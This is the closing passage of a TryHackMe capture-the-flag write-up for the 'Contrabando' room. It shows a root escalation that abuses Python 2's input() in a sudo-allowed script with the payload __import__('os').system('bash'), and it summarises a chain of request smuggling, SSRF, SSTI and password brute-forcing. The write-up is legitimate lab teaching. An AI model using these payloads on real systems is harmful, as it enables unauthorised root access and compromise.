Analysis of the sudo configuration shows that the command can be executed with /usr/bin/python*. Upon inspecting the system, it is confirmed that Python 2 is available as one of the matching binaries, providing an additional execution vector.

alt text

Terminal window
hansolo@contrabando:~$ ls -la /usr/bin/python*
lrwxrwxrwx 1 root root 9 Mar 13 2020 /usr/bin/python2 -> python2.7
-rwxr-xr-x 1 root root 3657904 Dec 9 2024 /usr/bin/python2.7
lrwxrwxrwx 1 root root 9 Mar 13 2020 /usr/bin/python3 -> python3.8
-rwxr-xr-x 1 root root 5490456 Mar 18 20:04 /usr/bin/python3.8
lrwxrwxrwx 1 root root 33 Mar 18 20:04 /usr/bin/python3.8-config -> x86_64-linux-gnu-python3.8-config
lrwxrwxrwx 1 root root 16 Mar 13 2020 /usr/bin/python3-config -> python3.8-config
hansolo@contrabando:~$

Python2 being available makes this line in the generate_password function problematic:

Terminal window
secret = input("Any words you want to add to the password? ")

Terminal window
$ python2
Python 2.7.18 (default, Aug 1 2022, 06:23:55)
[GCC 12.1.0] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> print(raw_input("input: "))
input: __import__("os").system("whoami")
__import__("os").system("whoami")
>>> print(input("input: "))
input: __import__("os").system("whoami")
kali
0

By executing the sudo-enabled script with Python 2 and submitting the payload

Terminal window
__import__("os").system("bash")

alt text

Terminal window
hansolo@contrabando:~$ sudo /usr/bin/python2 /opt/generator/app.py
[sudo] password for hansolo:
Enter the desired length of the password: 1'^H
Any words you want to add to the password? __import__("os").system("bash")
root@contrabando:/home/hansolo# ls
app hansolo_userflag.txt password_find.py
root@contrabando:/home/hansolo# cd /root
root@contrabando:~# ls
password root.txt secrets smug snap
root@contrabando:~# cat root.txt
THM{All_AbouT_xxxxxxx}
root@contrabando:~#

Exploitation Summary#

The Contrabando challenge was systematically exploited as follows:

    1. HTTP Request Smuggling (CRLF Injection) – An Apache2 front-end proxy was vulnerable to CRLF injection, allowing us to smuggle a crafted request to the back-end server. This enabled the exploitation of a command injection vulnerability on the back-end, providing an initial shell inside a Docker container.
    1. Internal Network Enumeration & SSRF – Within the container, network enumeration revealed an internal web service exposing a Server-Side Request Forgery (SSRF) vulnerability. This was leveraged to access and analyze the application’s source code.
    1. Server-Side Template Injection (SSTI) – Combining the SSRF with a Jinja2 SSTI vulnerability in the application allowed execution of arbitrary template code, granting a shell on the host system.
    1. Password Recovery & Privilege Escalation – An unquoted Bash script parameter, combined with glob matching, was used to brute-force the hansolo user password. With the password, the sudo-enabled Python2 script was exploited for Remote Code Execution (RCE), escalating privileges to root.
    1. This chain of vulnerabilities—from request smuggling to RCE—ultimately allowed full compromise of the host and completion of the room.
Contrabando Tryhackme Writeup
https://shadowv0id.vercel.app/posts/tryhackme/challenges/contrabando/contrabando/
Author
Shadowv0id
Published at
2025-08-20
License
CC BY-NC-SA 4.0